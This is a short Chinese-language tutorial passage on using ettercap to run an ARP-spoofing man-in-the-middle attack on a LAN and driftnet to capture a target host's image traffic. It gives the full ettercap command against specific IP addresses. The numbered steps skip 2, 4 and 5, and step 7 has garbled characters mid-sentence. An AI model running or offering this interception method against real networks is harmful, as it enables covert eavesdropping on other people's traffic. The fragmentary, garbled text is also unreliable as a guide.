1、确认已安装ettercap，输入：ettercap -v ，若显示版本信息，则说明已安装。
3、选择嗅探模式：Unified sniffing，设置好要嗅探的网卡（一般都是eth0），点击确定，开始嗅探。
6、查看被监听主机之间的所有连接信息，依次点击View---Connections。
7、利用ettercap陴鲰芹茯+driftnet截获目标主机的图片数据流。打开一个终端，输入：ettercap -i eth0 -Tq -M arp:remote //192.168.0.102// //192.168.0.1//，开启中间人监听；再打开一个终端，输入：driftnet -i eth0 ，显示截获的图片。
